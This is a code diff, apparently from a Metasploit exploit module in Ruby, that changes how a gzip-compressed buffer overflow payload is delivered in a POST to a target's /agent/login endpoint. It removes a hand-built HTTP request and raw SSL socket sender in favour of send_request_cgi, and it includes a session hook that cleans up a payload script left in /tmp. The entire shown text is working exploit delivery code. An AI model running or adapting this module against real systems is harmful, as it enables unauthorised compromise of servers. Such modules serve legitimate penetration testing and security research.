@@ -124,40 +124,6 @@ def create_bof_payload
124
124
return Zlib . gzip ( payload )
125
125
end
126
126
127
- def create_final_payload
128
- http_payload = "POST /agent/login HTTP/1.1\r \n "
129
- http_payload << "Host: #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } \r \n "
130
- http_payload << "Accept-Encoding: gzip, deflate\r \n "
131
- http_payload << "Accept: */*\r \n "
132
- http_payload << "Connection: close\r \n "
133
- http_payload << "Content-Encoding: gzip\r \n "
134
-
135
- bof_payload = create_bof_payload
136
-
137
- http_payload << "Content-Length: #{ bof_payload . length } \r \n "
138
- http_payload << "\r \n "
139
-
140
- return http_payload . encode + bof_payload
141
- end
142
-
143
- def send_payload ( payload )
144
- sock = Rex ::Socket ::SslTcp . create (
145
- 'PeerHost' => datastore [ 'RHOST' ] ,
146
- 'PeerPort' => datastore [ 'RPORT' ] ,
147
- 'Proxies' => datastore [ 'Proxies' ] ,
148
- 'Context' => {
149
- 'Msf' => framework ,
150
- 'MsfExploit' => self
151
- }
152
- )
153
- sock . write ( payload )
154
- rescue Rex ::AddressInUse , ::Errno ::ETIMEDOUT , Rex ::HostUnreachable , Rex ::ConnectionTimeout , Rex ::ConnectionRefused , ::Timeout ::Error , ::EOFError => e
155
- fail_with ( Failure ::UnexpectedReply , "#{ e . class } - #{ e . message } " )
156
- elog ( e )
157
- ensure
158
- sock . close if sock
159
- end
160
-
161
127
def on_new_session ( session )
162
128
# cleanup python payload script in /tmp
163
129
session . run_command ( 'import os' )
@@ -174,8 +140,16 @@ def check
174
140
175
141
def exploit
176
142
print_status ( "#{ peer } - Attempting to exploit..." )
177
- final_payload = create_final_payload
143
+ bof_payload = create_bof_payload
178
144
print_status ( "#{ peer } - Sending payload..." )
179
- send_payload ( final_payload )
145
+ send_request_cgi ( {
146
+ 'method' => 'POST' ,
147
+ 'uri' => normalize_uri ( target_uri . path , 'agent' , 'login' ) ,
148
+ 'headers' => {
149
+ 'Accept-Encoding' => 'gzip, deflate' ,
150
+ 'Content-Encoding' => 'gzip'
151
+ } ,
152
+ 'data' => bof_payload
153
+ } )
180
154
end
181
155
end
0 commit comments